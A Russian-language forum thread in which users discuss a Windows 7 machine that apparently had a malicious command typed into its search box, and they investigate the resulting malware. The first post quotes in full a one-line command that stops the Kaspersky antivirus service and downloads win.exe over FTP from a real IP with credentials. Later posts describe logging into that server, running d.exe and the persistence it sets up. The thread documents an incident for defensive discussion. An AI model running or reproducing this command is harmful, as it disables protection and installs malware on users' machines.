про win.exe и как он попадает на машины.

[vodyanov]

Сегодня наблюдал вот такую картину, установил windows7 [сборка 7229].
Сижу ни кого не трогаю слушаю музыку через foobar. И тут система начинает сама выводить на передний план разные открытые окна, и так случилось что открылась служба спавки и поддержки, и в ней в строке поиска сама! без моего участия набралась строка

net stop kavsvc &echo open 74.208.169.143 21 > il &echo user u52877190-d ddddddd >> il &echo binary >> il &echo get win.exe >> il &echo bye >> il &ftp -n -v -

видимо она должна была отработать в командной строке.
Одно успокоило "Каспера" на машине не использую. Вот такие дела...
Кстати ip реально существует и на нем поднят ftp сервер.

[bolshoy kot]

Хм, думаю, что либо Win7 была с трояном, либо у Вас работал троян.
Перешел на этот FTP. Ввел логин "u52877190-d" и пароль "ddddddd". Вроде правильные, но вылезло:


Добавлено через 2 минуты

Посоветовал бы выложить логи с этой машины.
Если конечно, AVZ и HijackThis будут работать на Win7.

Добавлено через 8 минут

net stop kavsvc - команда "Выгрузить Касперского".

Добавлено через 4 минуты

Пока к серверу подключится не удалось...

Добавлено через 1 минуту

Используя ftp, пытаюсь подключится. Но не могу ввести пароль в окно консоли.

Добавлено через 2 минуты

Я попал на сервер! Там d.exe и win.exe

Добавлено через 45 секунд

d.exe = 84 Kb
win.exe = 0 Kb (???)

Добавлено через 5 минут

После запуска d.exe появилась папка C:\Program Files\Common Files\System с файлом services.exe и:

Спам-вирус?
Отключаю Интернет на виртуальном ПК во избежание неприятностей
services.exe прописался в HKLM Run как "Windows Update".

Добавлено через 28 минут

Блин, а папка System то системная Вот я ступил. Стер ее на виртуальном ПК несмотря на предостережение системы.

[valho]

http://www.virustotal.com/analisis/1...367-1245109890

[VirCode]

Как ни странно эти вредоносные файлы легко удаляются с этого фтп сервера

Хотя конечно есть вероятность что они там скоро опять окажутся

[bolshoy kot]

VirCode, такая мысль была, но не стал...

[Lexxus]

и в ней в строке поиска сама! без моего участия набралась строка

У тебя случаем RAdmin'а нет?)
А вообще забавно, наверное, это лицезреть
Очень похоже на действие Sasser, но что он забыл на Win7

(Совсем параноидально: А может это сами Microsoft делают?)

[valho]

А может это сами Microsoft делают?

Вот засланцы